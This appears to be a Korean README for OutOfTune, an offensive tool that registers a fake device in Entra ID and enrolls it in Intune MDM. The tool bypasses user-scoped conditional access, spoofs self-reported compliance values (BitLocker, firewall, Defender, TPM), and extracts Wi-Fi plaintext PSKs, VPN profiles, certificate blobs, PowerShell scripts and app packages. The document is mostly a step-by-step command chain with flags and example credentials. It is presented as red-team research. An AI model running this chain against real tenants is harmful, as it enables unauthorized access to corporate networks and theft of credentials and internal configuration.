
Entra ID 및 Intune MDM을 위한 악성 기기 등록 도구. 조건부 액세스를 우회하면서 정책, Wi-Fi 자격 증명, 스크립트, 앱을 추출하기 위해 디바이스 조인, 토큰 획득, MDM 등록, OMA-DM 체크인을 자동화합니다.
원본 Pytune에서 영감을 받은 OutOfTune은 Entra ID에 가짜 장치를 등록하고, Intune MDM에 가입시킨 후 결과 규정 준수 상태를 확인합니다.
Windows 장치만 지원합니다(이것이 주요 목표였으며, 향후 추가 장치를 추가할 수 있음).
블로그 시리즈:
pip install -r requirements.txt
체인은 단계별로 실행되며, 각 단계는 chain_state.json에 저장된 상태를 기반으로 합니다.
drs-token -> device-join -> device-token -> mdm-enroll -> mdm-checkin
ROPC (자격 증명 알려짐):
python OutOfTune.py drs-token -u [email protected] -p Password1!
사전 획득 토큰:
python OutOfTune.py drs-token -u [email protected] -t <drs_access_token>
python OutOfTune.py device-join
python OutOfTune.py device-join -n CORP-LAPTOP-01
출력: <DEVICENAME>.pfx - 장치 인증서. 비밀번호는 password입니다.
python OutOfTune.py device-token
python OutOfTune.py device-token --cert CORP-LAPTOP-01.pfx
AAD에 장치 개체로 인증합니다 (사용자가 아님). 사용자 범위 CA 정책을 우회합니다.
python OutOfTune.py mdm-enroll
python OutOfTune.py mdm-enroll --profile profiles/dell_win11_ent.json
MDM 엔드포인트에 대해 SOAP 검색을 실행한 후 WS-Trust PKCS10 등록 요청을 제출합니다. 출력: <DEVICENAME>_mdm.pfx.
--profile을 사용하여 Intune으로 전송되는 장치 하드웨어/OS 속성을 스푸핑합니다. (장치 프로필 참조)
python OutOfTune.py mdm-checkin
python OutOfTune.py mdm-checkin -r <refresh_token>
python OutOfTune.py mdm-checkin --cert CORP-LAPTOP-01_mdm.pfx
python OutOfTune.py mdm-checkin -O ./output
python OutOfTune.py mdm-checkin -O ./output --save-syncml ./output/raw
r.manage.microsoft.com에 대해 OMA-DM SyncML 루프를 실행합니다. Intune은 장치를 대상으로 하는 구성 프로필, 앱 할당 및 기타 모든 정책을 푸시합니다. 루프가 완료된 후 지능 정보가 자동으로 추출되어 표시됩니다.
-r이 제공되면 새로 고침 토큰이 manage.microsoft.com 액세스 토큰으로 교환되어 각 SyncML 요청에 Authorization: Bearer로 전송됩니다. Intune은 이 토큰에서 UPN을 읽어 장치의 기본 사용자로 설정하여 사용자 범위 규정 준수 정책이 바인딩되도록 합니다. 사용자가 할당되기 위해 새로 고침 토큰을 한 번만 실행하면 되며, 이후 모든 체크인은 새로 고침 토큰 없이 실행할 수 있습니다.
-r 없이 실행하면 장치에 기본 사용자가 할당되지 않습니다.
초기 체크인 후, 오랜 시간(보통 5-7일) 동안 다시 체크인하지 않으면 "Is Active"에 대한 기본 정책으로 인해 장치가 규정 준수에서 벗어날 수 있습니다. Intune 구성에 따라 장치는 규정 준수 위반으로 표시되기 전에 유예 기간에 들어갈 수 있습니다. 이러한 경우 mdm-checkin을 다시 실행하십시오. 이전에 새로 고침 토큰을 사용하여 기본 사용자를 할당한 경우, 기본 사용자가 이제 Intune 백엔드에 저장되어 있으므로 다시 제출할 필요가 없습니다.
라이브 체크인을 실행하지 않고 --save-syncml로 저장된 원시 XML 라운드를 다시 파싱합니다.
python OutOfTune.py parse-checkin --dir ./output/raw -O ./output2
python OutOfTune.py parse-checkin --file ./output/raw/round_001.xml -O ./output2
python OutOfTune.py check -u [email protected] -r <refresh_token>
python OutOfTune.py check -u [email protected] -p Password1!
장치 인증서에서 PRT를 생성하고, 이를 IWService 토큰으로 교환한 후 IWService/Devices에서 장치의 규정 준수 상태 및 비준수 규칙을 쿼리합니다.
테넌트 CA가 등록 리소스에 대해 MFA를 요구하는 경우 MFA 세션 새로 고침 토큰과 함께 -r을 사용하십시오.
IME SideCarGateway를 통해 장치에 할당된 Win32 앱 및 PowerShell 스크립트를 가져옵니다. MDM 클라이언트 인증서만 필요하며 사용자 토큰은 필요하지 않습니다.
python OutOfTune.py download-apps
python OutOfTune.py download-apps --cert CORP-LAPTOP-01_mdm.pfx
scripts/<PolicyId>.ps1에 저장됩니다.apps/<AppName>/에 추출됩니다.장치에 할당된 사전 예방 수정 스크립트 (감지 + 수정 쌍)를 가져옵니다.
python OutOfTune.py get-remediations
python OutOfTune.py get-remediations --cert CORP-LAPTOP-01_mdm.pfx
각 정책은 remediations/<PolicyId>/에 저장되며 다음을 포함합니다:
detection.ps1 — 감지 스크립트remediation.ps1 — 수정 스크립트params.json — 정책 ID 및 스크립트 매개변수Intune에서 장치 제거가 실패하면 Entra에서 삭제하십시오. 그러면 Intune 내에서 유예 기간에 들어가고 나중에 자동으로 다시 정리됩니다.
Intune에서 장치 제거:
python OutOfTune.py retire-intune -u [email protected] -r <refresh_token>
Entra ID에서 장치 개체 제거:
python OutOfTune.py entra-delete
python OutOfTune.py status
등록 및 체크인 중 Intune으로 전송되는 장치 속성은 JSON 프로필을 통해 완전히 스푸핑 가능합니다. 여기에는 하드웨어 식별자, OS 버전, 제조업체 및 모든 자체 보고된 규정 준수 CSP 값(BitLocker, 방화벽, Defender, TPM, Secure Boot)이 포함됩니다.
python OutOfTune.py mdm-enroll --profile profiles/dell_win11_ent.json
python OutOfTune.py mdm-checkin # 프로필은 상태에 저장되어 자동으로 재사용됨
| 파일 | 장치 |
|---|---|
profiles/default.json | 기본값 (VMware / Win10 Enterprise) |
profiles/dell_win11_ent.json | Dell Latitude 5540 / Windows 11 Enterprise 23H2 |
모든 DeviceStatus CSP 값은 자체 보고되며 독립적인 검증 없이 Intune에 의해 신뢰됩니다. HAS 증명 규정 준수 검사(BitLockerEnabled, HealthAttestation CSP를 통한 SecureBootEnabled)는 실제 TPM이 필요하며 이 방법으로 스푸핑할 수 없습니다.
--debug 상세 HTTP + 토큰 로깅
--proxy <url> 프록시를 통해 트래픽 라우팅 (예: http://127.0.0.1:8080)
이 플래그들은 명령 앞에 옵니다:
python OutOfTune.py --debug device-token
python OutOfTune.py --proxy http://127.0.0.1:8080 mdm-checkin
이전 실행에서 인증서가 있거나 특정 PFX 파일을 사용하려는 경우:
python OutOfTune.py device-token --cert path/to/device.pfx
python OutOfTune.py mdm-enroll --cert path/to/device.pfx
python OutOfTune.py mdm-checkin --cert path/to/mdm.pfx
python OutOfTune.py check --cert path/to/device.pfx
python OutOfTune.py download-apps --cert path/to/mdm.pfx
python OutOfTune.py get-remediations --cert path/to/mdm.pfx
모든 단계 출력은 작업 디렉터리의 chain_state.json에 저장됩니다. 처음부터 다시 시작하려면 삭제하십시오. status를 사용하여 아무것도 실행하지 않고 현재 상태를 검사할 수 있습니다. 여러 장치를 다루는 경우 각 장치가 고유한 상태 파일을 가지도록 하십시오. 기본 상태 파일은 스크립트 시작 부분에서 조작 중인 장치로 변경할 수 있습니다. 인증서 재정의 옵션은 주로 디버깅 목적이므로 주의해서 사용하십시오.
원본 Pytune을 만들고 이 모든 것을 가능하게 한 원래 연구를 수행한 @temp43487580에게 큰 감사를 드립니다.
| 플래그 | 설명 |
|---|
--cert FILE | 사용할 MDM PFX — 파일 이름에서 장치 이름이 자동으로 파생됨 |
-r RT | 사용자 새로 고침 토큰 — 기본 사용자 설정 (한 번만 필요) |
-O DIR | 추출된 아티팩트를 DIR에 저장 (wifi/, vpn/, scripts/, certs/, add_values.json, policy_values.json) |
--save-syncml DIR | 각 라운드의 원시 SyncML XML을 DIR에 저장하여 오프라인 재파싱 |
-o FILE | 전체 콘솔 출력을 FILE에 기록 |
| 카테고리 | 저장 위치 | 설명 |
|---|
| Wi-Fi 프로필 | wifi/<SSID>.xml + _psk.txt | 존재하는 경우 일반 텍스트 PSK 추출 |
| VPN 프로필 | vpn/<name>.xml | 전체 ProfileXML |
| 인증서 페이로드 | certs/cert_N.b64 | 암호화된 PFX Blob (원시, 아직 복호화되지 않음) |
| SCEP 챌린지 | 표시됨 | CA 모델 이름, 챌린지 URL |
| 스크립트 | scripts/<name>.ps1 | OMA-DM을 통해 푸시된 PowerShell 스크립트 |
| MSI 다운로드 URL | 표시됨 | LOB 앱용 직접 CDN 링크 |
| ODJ Blob | odj_blob.b64 + odj_strings.txt | 오프라인 도메인 가입 — 읽을 수 있는 문자열 추출 |
| 추가 값 | add_values.json | 기타 모든 Add 명령 (루트 CA 인증서, MDE 온보딩, 정책 구성) |
| 교체 값 | policy_values.json | Intune에서 설정한 정책 CSP 값 |
| 필드 | CSP | 설명 |
|---|
os_version | DevDetail/SwV | 최소/최대 OS 버전 규정 준수 확인 |
os_edition_syncml | WindowsLicensing/Edition | 4 = Enterprise, 48 = Pro |
manufacturer | DevInfo/Man | 일부 정책은 제조업체를 허용 목록에 추가 |
mac_address | SOAP AdditionalContext/MAC | 모두 0이면 명백한 지표 |
hw_dev_id_enroll | SOAP AdditionalContext/HWDevID | 64자 16진수 |
bitlocker_status | BitLocker/Status/DeviceEncryptionStatus | 2 = 암호화됨 (자체 보고) |
encryption_compliance | DeviceStatus/Compliance/EncryptionCompliance | 1 = 규정 준수 (자체 보고) |
firewall_status | DeviceStatus/Firewall/Status | 0 = 켜짐 (자체 보고) |
secure_boot_state | DeviceStatus/SecureBootState | 1 = 활성화됨 (자체 보고, HAS 증명 아님) |
tpm_version | DeviceStatus/TPM/SpecificationVersion | 암호학적 증명 없음 |
defender_enabled | Defender/Health/DefenderEnabled | true = 실행 중 |
defender_version | Defender/Health/DefenderVersion | 일부 정책은 최소 버전을 강제 |